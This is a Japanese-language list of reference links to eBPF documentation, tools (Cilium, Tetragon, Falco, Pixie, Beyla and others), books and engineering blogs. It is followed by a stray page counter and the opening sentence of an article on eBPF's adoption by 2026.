- [eBPF Foundation](https://ebpf.foundation/)
- [Linux Kernel BPF ドキュメント](https://docs.kernel.org/bpf/)
- [libbpf GitHub](https://github.com/libbpf/libbpf)
- [bpftool GitHub](https://github.com/libbpf/bpftool)
- [CO-RE ガイド — Andrii Nakryiko ブログ](https://nakryiko.com/posts/bpf-portability-and-co-re/)
- [Liz Rice — Learning eBPF (O'Reilly, 2023)](https://www.oreilly.com/library/view/learning-ebpf/9781098135119/)
- [Brendan Gregg — BPF Performance Tools (Addison-Wesley, 2019)](https://www.brendangregg.com/bpf-performance-tools-book.html)
- [Brendan Gregg — Systems Performance 第 2 版](https://www.brendangregg.com/systems-performance-2nd-edition-book.html)
- [Pixie 公式](https://px.dev/)
- [Pixie GitHub](https://github.com/pixie-io/pixie)
- [Parca 公式](https://www.parca.dev/)
- [Polar Signals ブログ](https://www.polarsignals.com/blog)
- [Cilium 公式](https://cilium.io/)
- [Hubble GitHub](https://github.com/cilium/hubble)
- [Tetragon 公式](https://tetragon.io/)
- [Tetragon GitHub](https://github.com/cilium/tetragon)
- [BCC GitHub](https://github.com/iovisor/bcc)
- [bpftrace GitHub](https://github.com/bpftrace/bpftrace)
- [OpenTelemetry eBPF GitHub](https://github.com/open-telemetry/opentelemetry-ebpf)
- [Grafana Beyla 公式](https://grafana.com/oss/beyla-ebpf/)
- [Grafana Beyla GitHub](https://github.com/grafana/beyla)
- [Grafana Pyroscope](https://grafana.com/oss/pyroscope/)
- [Coroot 公式](https://coroot.com/)
- [Coroot GitHub](https://github.com/coroot/coroot)
- [Inspektor Gadget 公式](https://www.inspektor-gadget.io/)
- [Kepler 公式](https://sustainable-computing.io/)
- [Kepler GitHub](https://github.com/sustainable-computing-io/kepler)
- [Falco 公式](https://falco.org/)
- [Falco GitHub](https://github.com/falcosecurity/falco)
- [eBPF for Windows GitHub](https://github.com/microsoft/ebpf-for-windows)
- [Asahi Linux](https://asahilinux.org/)
- [sched_ext 公式](https://sched-ext.com/)
- [BTFHub — 古いカーネル用 BTF](https://github.com/aquasecurity/btfhub)
- [Toss SLASH 24 — Cilium 採用事例](https://toss.tech/slash-24)
- [LINE Engineering ブログ](https://engineering.linecorp.com/ja)
- [Mercari Engineering ブログ](https://engineering.mercari.com/)
- [eBPF Summit](https://ebpf.io/summit-2024/)
- [CNCF Landscape — Observability and Analysis](https://landscape.cncf.io/)
- [Isovalent (Cisco) ブログ](https://isovalent.com/blog/)
현재 단락 (1/464)
5 年前、eBPF は「Linux カーネルハッカーの面白い玩具」程度に扱われていた。2026 年の今、eBPF は以下の領域で事実上の標準である。